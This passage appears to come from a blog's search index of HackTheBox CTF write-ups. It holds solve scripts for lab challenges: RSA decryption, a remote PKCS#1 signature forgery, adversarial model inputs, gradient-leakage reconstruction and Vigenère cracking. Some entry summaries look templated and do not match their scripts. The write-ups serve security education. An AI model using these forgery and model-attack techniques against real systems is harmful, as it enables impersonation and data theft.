missing secret, and decrypt the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-baby-quick-maffs-Challenge/","protected":null,"snippet":"baby quick maffs: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox baby quick maffs Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/438\nDescription You used the cloak of invisibility to enter the bank and spy on the employees. They seem to be using magic to automate the paperwork. As you watched the papers flying around, you managed to steal one of them. It contains the details about the vault containing the Golden Grail with Valdemort's soul. After regrouping with Ermiani and Ran, you drank the transformation poison and entered the bank as one of the employees. The passphrase for the vault is encrypted and the only thing you can ask the bank for is a small hint that seems to be magic-proof.\nExploitation #!/usr/bin/python3 import socket,sys,gmpy2 def main(host,port): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((host,port)) p=157875172209163519678943359148525333531716726677753633934296611712000756309667034596569133406098287955902929909543766113103871854290570427288416517970201806645975359034144521325212023682443479156175345265695523898222195390245489486286336622758826675848519763864114653366396161706216930716646891645418638230777 c=0x226e64eaeac943cd2386a9e4a4c9298fb9cb7de03c7a213d1b322b97282b86048d5fca4196ac7a8fc4ad436a18dad51b8a61ba3f1abb6bc5c36c7d2d1b017f153e6d4abb36541c0d18b06fe3c3c62a37e491068c47cebb81b787c625d83a30c3bbf0b199af30f324fbbf3704b43d14cd33f96ad3d21f5ef7e2f8140825b9b0b3d6e4949f2cb99d6504e7de1efdea60d5fc86926757965d50ffcf0d6beabfc028aec797b0dde69ecec821aa847442fe944e11073d8af6199c0256b7585a1538ffd4ec48fcf4550d5d0db6843b96695f65ebeffd51c08e7920ab57a1e8ae6f66fd3d68d2ff4af64cba7f63a4f4278518247e4505091d94142173d6b1fd58418b96 n=17415590906978433746472641764083504512019958412158092813450467355788577633087254416157801044394309487617942708339245514241198481677964708123680885650475742121129771766359967489634887005007988336291170522394424447782344637066887606424930021648088268320866687879629746818809145950310136907696781348429161849531727203320131362773603137160846675973851729681676355984788417018929487346062717582378311437452281097285000670744354738795391901185318315491985549861831660290116418075125748786314871734796448641636181705051487202260458576056902007899564398926860405655987541775486698325723575216153624082972207828956997490139773 e=65537 q = n//p phi = (p-1)*(q-1) d = int(gmpy2.invert(e, phi)) m = pow(c,d,n) print(\u0026#34;Decrypted hash:\u0026#34;,bytes.fromhex(hex(m)[2:]).decode()) data = s.recv(1024).decode() print(\u0026#34;\\nServer response:\u0026#34;, end=\u0026#39;\u0026#39;) print(data) s.send(b\u0026#34;3\\n\u0026#34;) data = s.recv(1024).decode() print(\u0026#34;\u0026gt;3\\n\u0026#34;) print(\u0026#34;Server response:\u0026#34;, end=\u0026#39;\u0026#39;) print(data) s.send(b\u0026#34;vault_68\\n\u0026#34;) data = s.recv(1024).decode() print(\u0026#34;\u0026gt;vault_68\\n\u0026#34;) print(\u0026#34;Server response:\u0026#34;, end=\u0026#39;\u0026#39;) print(data) s.send(b\u0026#34;horcrux_horcrux_Helga_Hufflepuff\u0026#39;s_cup\\n\u0026#34;) flag = s.recv(1024).decode() print(\u0026#34;\u0026gt;horcrux_horcrux_Helga_Hufflepuff\u0026#39;s_cup\\n\u0026#34;) print(\u0026#34;Flag:\u0026#34;, flag.strip()) if len(sys.argv) != 2: print(f\u0026#34;Usage: python {sys.argv[1]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) try: host,port = sys.argv[1].split(\u0026#34;:\u0026#34;) main(host,int(port)) except Exception as e: print(f\u0026#34;Error: {e}\u0026#34;) Summary Bank-er-smith: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Bank-er-smith-Challenge/","protected":null,"snippet":"Bank-er-smith: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa","hash"],"title":"HackTheBox Bank-er-smith Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/742\nDescription The spaceship cruiser has been hit! Ramona must hurry and check if the central system is intact! The enemy must have used electromagnetic wave canons! The spaceship\u0026rsquo;s sensors are going crazy and the autopilot system broke down! There is no chance to turn back the enemy will be waiting\u0026hellip; But there is a meteor shower ahead! In order to get through safely, the spaceship\u0026rsquo;s power and consumption need to be balanced. Both the laser canons and the thrusters are vital parts for this\u0026hellip; And she has to control them manually! Quickly! Ramona needs to upload a valid configuration file to overwrite the values of all sensors on board. The onboard neural network will verify that the new configuration leads to the required power distribution. Attention! The values of the sensors must be at least 99.99% accurate for this to work! Hurry now, time is running out!\nExploitation #!/usr/bin/python3 import torch import torch.nn as nn import numpy as np import torch.serialization torch.serialization._GLOBAL_ALLOW_LIST = None class net(nn.Module): def __init__(self): super(net, self).__init__() self.layer1 = nn.Sequential( nn.Conv2d(1, 16, kernel_size=3, padding=0, stride=2), nn.ReLU(), nn.MaxPool2d(2) ) self.layer2 = nn.Sequential( nn.Conv2d(16, 32, kernel_size=3, padding=0, stride=2), nn.ReLU(), nn.MaxPool2d(2) ) self.fc1 = nn.Linear(5408, 10) self.fc2 = nn.Linear(10, 2) self.relu = nn.ReLU() def forward(self, x): out = self.layer1(x) out = self.layer2(out) out = out.view(out.size(0), -1) out = self.relu(self.fc1(out)) out = self.fc2(out) out = torch.softmax(out, dim=1) return out def main(): model = torch.load(\u0026#39;./model.pth\u0026#39;, map_location=torch.device(\u0026#39;cpu\u0026#39;)) if not isinstance(model, net): if hasattr(model, \u0026#39;state_dict\u0026#39;): original_net = net() original_net.load_state_dict(model.state_dict()) model = original_net print(model) model.eval() X = np.zeros((1, 1, 224, 224)) a = torch.tensor(X, requires_grad=True, dtype=torch.float32) answer = torch.tensor([[0.9569, 0.0431]]) data_optimizer = torch.optim.Adam([a], lr=0.01) while True: y_pred = model(a) loss = ((y_pred - answer)**2).mean() data_optimizer.zero_grad() print(loss.item(), flush=True) loss.backward() data_optimizer.step() if loss.item() \u0026lt; 1e-14: print(f\u0026#34;Final prediction: {y_pred}\u0026#34;) break np.save(\u0026#39;result.npy\u0026#39;, a.detach().numpy()) if __name__ == \u0026#34;__main__\u0026#34;: main() Replace answer = torch.tensor([[0.9569, 0.0431]]) with the values shown in the web interface. For example, you should use:\nLaser Canons: 0.9569 Thrusters: 0.0431 So, the updated line should be:\nanswer = torch.tensor([[0.9569, 0.0431]]) Afterward, upload the resulting result.npy file to get the flag.\nSummary Battle in OrlOn: shape the prompt path, bypass the model guard, and recover the target output.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Battle-in-OrlOn-Challenge/","protected":null,"snippet":"Battle in OrlOn: shape the prompt path, bypass the model guard, and recover the target output.","tags":["htb","ai","pytorch","prompt-injection","neural-network"],"title":"HackTheBox Battle in OrlOn Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/380\nDescription We have received reports from CloudCompany that resources are involved in malicious activity similar to attempting unauthorized access to remote hosts on the Internet. We have since shut down the server and locked the SA. While we were trying to investigate what the entry point was, we discovered a phishing email from CloudCompany's IT department. You've since notified the vendor, and they've provided the source code of the email signing server for a security assessment. We've identified an outdated RSA verification code implementation, which we believe could be the cause of why the threat actors were able to impersonate the vendor. Can you replicate the attack and notify them of any possible misuse?\nExploitation #!/usr/bin/python3 from Crypto.PublicKey import RSA from Crypto.Util.number import long_to_bytes from gmpy2 import iroot from pwn import log, re, remote, sys def main(): if len(sys.argv) != 2: log.warning(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;host:port\u0026gt;\u0026#39;) exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) r = remote(host, int(port)) r.recvuntil(b\u0026#39;certificate: \\n\u0026#39;) cert = RSA.import_key(r.recvuntil(b\u0026#39;-----END PUBLIC KEY-----\u0026#39;).decode()) n, e = cert.n, cert.e forged_min = int((b\u0026#39;\\x00\\x01\u0026#39; + b\u0026#39;\\xff\u0026#39; * 1 + b\u0026#39;\\x000!0\\t\\x06\\x05+\\x0e\\x03\\x02\\x1a\\x05\\x00\\x04\\x14\\xdb}\\xdd?yeA\\xdaO\\x80]yHo\\xd3w\\x07\\x9c2p\u0026#39;).ljust(256, b\u0026#39;\\x00\u0026#39;).hex(), 16) forged_max = int((b\u0026#39;\\x00\\x01\u0026#39; + b\u0026#39;\\xff\u0026#39; * 217 + b\u0026#39;\\x000!0\\t\\x06\\x05+\\x0e\\x03\\x02\\x1a\\x05\\x00\\x04\\x14\\xdb}\\xdd?yeA\\xdaO\\x80]yHo\\xd3w\\x07\\x9c2p\u0026#39;).ljust(256, b\u0026#39;\\xff\u0026#39;).hex(), 16) perfect_cube_range = range(iroot(forged_min, e)[0], iroot(forged_max, e)[0]) regex = re.compile(b\u0026#39;\\x00\\x01\\xff+?\\x00(.{15})(.{20})\u0026#39;, re.DOTALL) keylength = len(long_to_bytes(n)) for t in perfect_cube_range: clearsig = (t ** e).to_bytes(keylength, \u0026#39;big\u0026#39;) m = regex.match(clearsig) if m and m.groups() == (b\u0026#39;0!0\\t\\x06\\x05+\\x0e\\x03\\x02\\x1a\\x05\\x00\\x04\\x14\u0026#39;, b\u0026#39;\\xdb}\\xdd?yeA\\xdaO\\x80]yHo\\xd3w\\x07\\x9c2p\u0026#39;): break r.sendafter(b\u0026#39;Enter the signature as hex: \u0026#39;, hex(t)[2:].encode()) log.success(f\u0026#39;Flag: {r.recv().decode()}\u0026#39;) r.close() if __name__ == \u0026#39;__main__\u0026#39;: main() Summary BBGun06: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-BBGun06-Challenge/","protected":null,"snippet":"BBGun06: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa"],"title":"HackTheBox BBGun06 Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/703\nDescription Since the fallout, most of the world\u0026rsquo;s fertile land has been transformed into wasteland, leaving survivors struggling to produce enough food to sustain their communities. With traditional agriculture in ruins, they recall that, in the years before the disaster, agricultural scientists were developing genetically modified crops that could thrive in extreme conditions. Rumors point to a hidden agricultural research zone where these scientists experimented with advanced genetic seeds. This zone is believed to contain experimental crops, advanced equipment, and crucial research that could empower communities to rebuild agriculture from the ground up. Undeterred, the survivors embark on a grueling journey lasting several days in pursuit of the zone. At last, they arrive to find a vast area buried in sand but equipped with sophisticated watering systems and supplies to nurture the genetic crops. To their surprise, the zone is defended by humanoid robotic guards armed with automatic weapons. It\u0026rsquo;s clear that accessing the area safely requires a secret password; otherwise, the robots are likely to open fire. Worse yet, these robots teleport unpredictably throughout the zone, making their movements almost impossible to predict. Can you extract information from their movements, predict their next move and devise a strategy to eliminate all of them?\nExploitation #!/usr/bin/python3 from sage.all import * from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from Crypto.Util.number import long_to_bytes import re with open(\u0026#39;output.txt\u0026#39;) as f: data = f.read().split(\u0026#39;\\n\u0026#39;) enc_messages = eval(data[0]) enc_flag = bytes.fromhex(data[1]) key = sha256(b\u0026#39;0\u0026#39;*256).digest() shares = [] for i in range(len(enc_messages)): for iv, ct in enc_messages[i]: try: cipher = AES.new(key, AES.MODE_CBC, bytes.fromhex(iv)) dec = unpad(cipher.decrypt(bytes.fromhex(ct)), 16).decode() shares.append(eval(dec.split(\u0026#39;#: \u0026#39;)[1])) if i == len(enc_messages) - 1: p = int(re.search(r\u0026#39;\\d+\u0026#39;, dec).group()) break except: pass assert len(shares) == 5 F = GF(p) PR = PolynomialRing(F, \u0026#39;x\u0026#39;) P = PR.lagrange_polynomial(shares) key = long_to_bytes(int(list(P)[0])) flag = unpad(AES.new(key, AES.MODE_ECB).decrypt(enc_flag), 16) print(flag.decode()) Summary Bloom Bloom: abuse the AES misuse, derive the missing key material, and decrypt the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Bloom-Bloom-Challenge/","protected":null,"snippet":"Bloom Bloom: abuse the AES misuse, derive the missing key material, and decrypt the flag.","tags":["htb","crypto","aes","lattice","hash"],"title":"HackTheBox Bloom Bloom Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/43\nDescription Brainy likes playing around with esoteric programming. He also likes math and has therefore encrypted his very secure password with a popular encryption algorithm. Claiming that his password cannot be retrieved now, he has sent the ciphertext to some of his friends. Can you prove to Brainy that his password can actually be recovered?\nExploitation #!/usr/bin/python3 import json def run_bf(code): mem = [0] * 30000 dp = cp = 0 output = \u0026#34;\u0026#34; brackets = {} stack = [] for i, c in enumerate(code): if c == \u0026#39;[\u0026#39;: stack.append(i) elif c == \u0026#39;]\u0026#39;: start = stack.pop() brackets[start] = i brackets[i] = start while cp \u0026lt; len(code): c = code[cp] if c == \u0026#39;\u0026gt;\u0026#39;: dp += 1 elif c == \u0026#39;\u0026lt;\u0026#39;: dp -= 1 elif c == \u0026#39;+\u0026#39;: mem[dp] = (mem[dp] + 1) % 256 elif c == \u0026#39;-\u0026#39;: mem[dp] = (mem[dp] - 1) % 256 elif c == \u0026#39;.\u0026#39;: output += chr(mem[dp]) elif c == \u0026#39;[\u0026#39; and mem[dp] == 0: cp = brackets[cp] elif c == \u0026#39;]\u0026#39; and mem[dp] != 0: cp = brackets[cp] cp += 1 return output def decrypt_rsa_crt(c, p, q, dp, dq): def mod_inverse(a, m): def egcd(a, b): if a == 0: return b, 0, 1 g, x, y = egcd(b % a, a) return g, y - (b // a) * x, x _, x, _ = egcd(a, m) return x % m m1 = pow(c, dp, p) m2 = pow(c, dq, q) qinv = mod_inverse(q, p) h = (qinv * (m1 - m2)) % p m = m2 + h * q return m def main(): with open(\u0026#39;brainy.txt\u0026#39;, \u0026#39;r\u0026#39;) as f: bf_code = f.read().strip() output = run_bf(bf_code) print(\u0026#34;[+] Brainfuck decoded\u0026#34;) params = {k: int(v) for k, v in (pair.split(\u0026#39;:\u0026#39;) for pair in output.strip(\u0026#39;{}\u0026#39;).split(\u0026#39;,\u0026#39;))} print(\u0026#34;[+] Extracted RSA parameters\u0026#34;) m = decrypt_rsa_crt( params[\u0026#39;c\u0026#39;], params[\u0026#39;p\u0026#39;], params[\u0026#39;q\u0026#39;], params[\u0026#39;dp\u0026#39;], params[\u0026#39;dq\u0026#39;] ) print(\u0026#34;[+] Decryption complete\u0026#34;) try: hex_str = hex(m)[2:] if len(hex_str) % 2: hex_str = \u0026#39;0\u0026#39; + hex_str flag = bytes.fromhex(hex_str).decode() print(\u0026#34;Flag:\u0026#34;, flag) except: print(\u0026#34;[-] Error decoding result\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Brainy\u0026rsquo;s Chyper: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Brainys-Chyper-Challenge/","protected":null,"snippet":"Brainy's Chyper: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa"],"title":"HackTheBox Brainy's Chyper Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/22\nDescription Find the plaintext, the key is your flag! \u0026lt;br\u0026gt;Flag format : HTB{key in lowercase}\nExploitation #!/usr/bin/python3 import string from collections import Counter def get_english_frequencies(): return { \u0026#39;A\u0026#39;: 0.0817, \u0026#39;B\u0026#39;: 0.0150, \u0026#39;C\u0026#39;: 0.0278, \u0026#39;D\u0026#39;: 0.0425, \u0026#39;E\u0026#39;: 0.1270, \u0026#39;F\u0026#39;: 0.0223, \u0026#39;G\u0026#39;: 0.0202, \u0026#39;H\u0026#39;: 0.0609, \u0026#39;I\u0026#39;: 0.0697, \u0026#39;J\u0026#39;: 0.0015, \u0026#39;K\u0026#39;: 0.0077, \u0026#39;L\u0026#39;: 0.0403, \u0026#39;M\u0026#39;: 0.0241, \u0026#39;N\u0026#39;: 0.0675, \u0026#39;O\u0026#39;: 0.0751, \u0026#39;P\u0026#39;: 0.0193, \u0026#39;Q\u0026#39;: 0.0010, \u0026#39;R\u0026#39;: 0.0599, \u0026#39;S\u0026#39;: 0.0633, \u0026#39;T\u0026#39;: 0.0906, \u0026#39;U\u0026#39;: 0.0276, \u0026#39;V\u0026#39;: 0.0098, \u0026#39;W\u0026#39;: 0.0236, \u0026#39;X\u0026#39;: 0.0015, \u0026#39;Y\u0026#39;: 0.0197, \u0026#39;Z\u0026#39;: 0.0007 } def clean_text(text): return \u0026#39;\u0026#39;.join(c.upper() for c in text if c.isalpha()) def get_letter_frequencies(text): total = len(text) return {char: count/total for char, count in Counter(text).items()} def index_of_coincidence(text): n = len(text) if n \u0026lt;= 1: return 0 freqs = Counter(text) numerator = sum(freq * (freq - 1) for freq in freqs.values()) denominator = n * (n - 1) return numerator / denominator if denominator != 0 else 0 def find_key_length(ciphertext, min_len=2, max_len=20): best_ioc = 0 best_length = 0 for length in range(min_len, max_len + 1): sequences = [\u0026#39;\u0026#39;] * length for i, char in enumerate(ciphertext): sequences[i % length] += char avg_ioc = sum(index_of_coincidence(seq) for seq in sequences) / length if avg_ioc \u0026gt; best_ioc: best_ioc = avg_ioc best_length = length return best_length def find_repeating_pattern(text): n = len(text) for length in range(1, n + 1): if text == text[:length] * (n // length) + text[:n % length]: return text[:length] return text def decrypt_with_key(text, key): decrypted = \u0026#39;\u0026#39; key = key.upper() key_length = len(key) i = 0 for char in text: if char.isalpha(): char_num = ord(char.upper()) - ord(\u0026#39;A\u0026#39;) key_num = ord(key[i % key_length]) - ord(\u0026#39;A\u0026#39;) decrypted_num = (char_num - key_num) % 26 decrypted_char = chr(decrypted_num + ord(\u0026#39;A\u0026#39;)) if char.islower(): decrypted_char = decrypted_char.lower() decrypted += decrypted_char i += 1 else: decrypted += char return decrypted def crack_vigenere(ciphertext, min_key_len=2, max_key_len=20): cleaned_text = clean_text(ciphertext) key_length = find_key_length(cleaned_text, min_key_len, max_key_len) def get_column(text, key_len, offset): return \u0026#39;\u0026#39;.join(char for i, char in enumerate(text) if i % key_len == offset) key = \u0026#39;\u0026#39; eng_freqs = get_english_frequencies() for i in range(key_length): column = get_column(cleaned_text, key_length, i) best_shift = 0 best_score = float(\u0026#39;inf\u0026#39;) for shift in range(26): shifted = \u0026#39;\u0026#39;.join(chr((ord(c) - ord(\u0026#39;A\u0026#39;) - shift) % 26 + ord(\u0026#39;A\u0026#39;)) for c in column) freq = get_letter_frequencies(shifted) score = sum((freq.get(c, 0) - eng_freqs[c]) ** 2 for c in eng_freqs) if score \u0026lt; best_score: best_score = score best_shift = shift key += chr(best_shift + ord(\u0026#39;A\u0026#39;)) actual_key = find_repeating_pattern(key) return actual_key, decrypt_with_key(ciphertext, actual_key) ciphertext = \u0026#34;\u0026#34;\u0026#34;alp gwcsepul gtavaf, nlv prgpbpsu mb h jcpbyvdlq, ipltga rv glniypfa we ekl 16xs nsjhlcb. px td o lccjdstslpahzn fptspf xstlxzi te iosj ezv sc xcns ttsoic lzlvrmhaw ez sjqijsa xsp rwhr. tq vxspf sciov, alp wsphvcv pr ess rwxpqlvp nwlvvc dyi dswbhvo ef htqtafvyw hqzfbpg, ezutewwm zcep xzmyr o scio ry tscoos rd woi pyqnmgelvr vpm . qbctnl xsp akbflowllmspwt nlwlpcg, lccjdstslpahzn fptspfo oip qvx dfgysgelipp ec bfvbxlrnj ojocjvpw, ld akfv ekhr zys hskehy my eva dclluxpih yoe mh yiacsoseehk fj l gebxwh sieesn we ekl iynfudktru. xsp yam zd woi qwoc.\u0026#34;\u0026#34;\u0026#34; key, decrypted = crack_vigenere(ciphertext) print(f\u0026#34;Found key: {key} Flag: HTB{{{key}}}\u0026#34;) print(f\u0026#34;{decrypted}\u0026#34;) By the way, you can also resolve the flag using frequency analysis with the English alphabet by manually replacing letters based on their frequency. Alternatively, you can use an online brute-force tool like:\ndCode Vigenère Cipher Decoder Boxentriq Vigenère Cipher Solver Summary Classic, yet complicated: recover the Vigenere key from the ciphertext, decrypt the message, and verify the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Classic-yet-complicated-Challenge/","protected":null,"snippet":"Classic, yet complicated: recover the Vigenere key from the ciphertext, decrypt the message, and verify the flag.","tags":["htb","crypto","vigenere"],"title":"HackTheBox Classic, yet complicated! Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/740\nDescription You find yourself in the possession of an ancient forbidden spell. Rumors have it that by revealing the rune originated from the spell, the mystery behind the way you perish will be unveiled and sealed!\nReferences https://github.com/mit-han-lab/dlg\nExploitation #!/usr/bin/python3 import torch import torch.nn as nn torch.manual_seed(50) device = \u0026#34;cpu\u0026#34; def weights_init(m): if hasattr(m, \u0026#34;weight\u0026#34;): m.weight.data.uniform_(-0.5, 0.5) if hasattr(m, \u0026#34;bias\u0026#34;): m.bias.data.uniform_(-0.5, 0.5) class LeNet(nn.Module): def __init__(self): super(LeNet, self).__init__() act = nn.Sigmoid self.body = nn.Sequential( nn.Conv2d(1, 12, kernel_size=5, padding=5//2, stride=2), act(), nn.Conv2d(12, 12, kernel_size=5, padding=5//2, stride=2), act(), nn.Conv2d(12, 12, kernel_size=5, padding=5//2, stride=1), act(), nn.Conv2d(12, 12, kernel_size=5, padding=5//2, stride=1), act(), ) self.fc = nn.Sequential( nn.Linear(768, 100) ) def forward(self, x): out = self.body(x) out = out.view(out.size(0), -1) out = self.fc(out) return out net = LeNet().to(device) net.apply(weights_init) criterion = nn.CrossEntropyLoss() import torch.nn.functional as F from torchvision import transforms import matplotlib.pyplot as plt import os def cross_entropy_for_onehot(pred, target): return torch.mean(torch.sum(- target * F.log_softmax(pred, dim=-1), 1)) tt = transforms.ToPILImage() original_dy_dx = torch.load(\u0026#39;forbidden_spell.pt\u0026#39;) original_dy_dx = tuple(original_dy_dx) dummy_data = torch.randn((1, 1, 32, 32)).to(device).requires_grad_(True) dummy_label = torch.randn((1, 100)).to(device).requires_grad_(True) optimizer = torch.optim.LBFGS([dummy_data, dummy_label]) criterion = cross_entropy_for_onehot for iters in range(100): def closure(): optimizer.zero_grad() dummy_pred = net(dummy_data) dummy_onehot_label = F.softmax(dummy_label, dim=-1) dummy_loss = criterion(dummy_pred, dummy_onehot_label) dummy_dy_dx = torch.autograd.grad(dummy_loss, net.parameters(), create_graph=True) grad_diff = 0 for gx, gy in zip(dummy_dy_dx, original_dy_dx): grad_diff += ((gx - gy) ** 2).sum() grad_diff.backward() return grad_diff optimizer.step(closure) if iters % 10 == 0: current_loss = closure() print(iters, \u0026#34;%.4f\u0026#34; % current_loss.item()) plt.imshow(tt(dummy_data[0].cpu())) os.makedirs(\u0026#39;save\u0026#39;, exist_ok=True) plt.savefig(f\u0026#39;save/{iters}.png\u0026#39;) torch.save(dummy_data[0].cpu(), f\u0026#39;save/{iters}.pt\u0026#39;) From the 30th iteration onward, the process starts to work.\nYou can use QR Scanner for decoding, or alternatively, you can install and use qr-scanner-cli:\nsudo npm i -g qr-scanner-cli qrscanner save/30.png Summary Death\u0026rsquo;s Glance: shape the prompt path, bypass the model guard, and recover the target output.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Deaths-Glance-Challenge/","protected":null,"snippet":"Death's Glance: shape the prompt path, bypass the model guard, and recover the target output.","tags":["htb","ai","pytorch","prompt-injection","neural-network"],"title":"HackTheBox Death's Glance Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/379\nDescription After some minor warnings from IDS, you decide to check the logs to see if anything suspicious is happening. Surprised by what you see, you realise that one of your honeypots has been compromised with a cryptominer. As you look at the processes, you discover a backdoor attached to one of them. The backdoor retrieves the private key from the /key route of a C2. It establishes a session by sending an encrypted initilazation sequence. After the session is established, it waits for commands. The commands are encrypted and executed by the source code you found. Unfortunately, the IDS could not detect the request to /key and the machine was rebooted after the compromise, so the key cannot be found on the stack. Can you find out if any data was exfiltrated from the honeypot to mitigate future attacks?\nExploitation #!/usr/bin/env python3 from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse import base64 import re def decrypt_message(ciphertext: str, s: int, q: int) -\u0026gt; str: try: _, c2 = ciphertext.split(\u0026#34;|\u0026#34;) c2 = bytes_to_long(base64.b64decode(c2)) m = (c2 * inverse(s, q)) % q return long_to_bytes(m).decode() except Exception as e: return f\u0026#34;[Decryption failed: {str(e)}]\u0026#34; def main(): q = 855098176053225973412431085960229957742579395452812393691307482513933863589834014555492084425723928938458815455293344705952604659276623264708067070331 s = 804519413946339833036807676236425366393713828575772089253931453873946915064743259014634759406656096586184230449849670884334808422167611972326858050206 ciphertexts = [ \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|EtJdz4TGpsPRxpCfSU1EzHCdn7dwx/wM5ddhCA4PpiGZTUpytbe6qYbNgrtJNmB3aTGCMiaxFr1jQfjtonk=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|ApmwM0ox37numDswK1IMAD5I9sD1OLnV4hCEtv6+j/2kF0wIZeckbfZNas/wczb85jEhV8cmRpgRfOy8SYGu\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|zfdAT+azces+LVK57G+oYrdBA9/A30LMnAFhVG5T21jkLgDRayGHw1yilT90GJ9a0wSsfNbxsmJPqqo1B1U=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AhTIGaZxjVa/UARA76g2ECDoeAUvC0btVMnRo0/HxyS7E0MqmyyJcSttPf9kfGjbN06FrFj56NJrILbGf4K2\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|RHOqLQjEjbID7TyPTp+p/OOznHzyuNI9QaLj8F2/vAZpCDUK1//yFaJO78UwjjgzcQWY9yv2hkgY8ACge/c=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AQZrbR9r7dO+CdPHp8I4SgDP/0MOA0NkvWWcaDImB5HPhubKGbNS9OnNcs2ShdXXJ9+pygF7M1hBgIWWuZYR\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|exHMS0Jj51CnO2Ai2lES3P7Upsfvi33Km/GZ3I0XbAo2aqs4xnNoRaLtV0DwcjI/MgRar2UGSoPTt3oJGu0=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|2x692eZegFskxXnptM8btDeLb0S2foSlo1iKV09bNXWZUuIyzfcYrR3mX0SP9UBeNOz8eRFOwPy2K0Lyc2A=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|gQ83O8Sg19BC4HnMFEknUGHQGOMyGFRX22UUe1YB1yZtYx+aAq6n/4M0gl/GpWZvXURqfaERc25o9Tg2pFE=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|exHMS0Jj51CnO2Ai2lES3P7Upsfvi33Km/GZ3I0XbAo2aqs4xnNoRaLtV0DwcjI/MgRar2UGSoPTt3oJGu0=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AuCkgVY/lWBG5XFgfYwCNC9nOZjI2ncCHKfTcl2K2Ie5Bo6EaShdUsQP4rUMy4t5ZEK1cM0ZB+KdHfCZUiUQ\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|A6S0OgAtdvQ4YIheDtCHvgDCDoB+DV0jUnXzOSu2KV9nHu/zAn18M7ou8V25BsGiqW6IyDCPNFXTRHN4FtnP\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AiZ95CrjFfQQstT8aU+H1t9dUH4i7OlQ1nVkx8SmaTcIGXbZXghaFkOE07+4aK20BuUi3rRhxwjwFh7K5Zmq\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|Mp5n6bs2QtuyR6//cxsqQMzBoXhFqotQBZqeN44geBUHxDAmfw61rZ/GclXTy+SrWNDcM6vhOOTg28Sm6AQ=\u0026#34;, 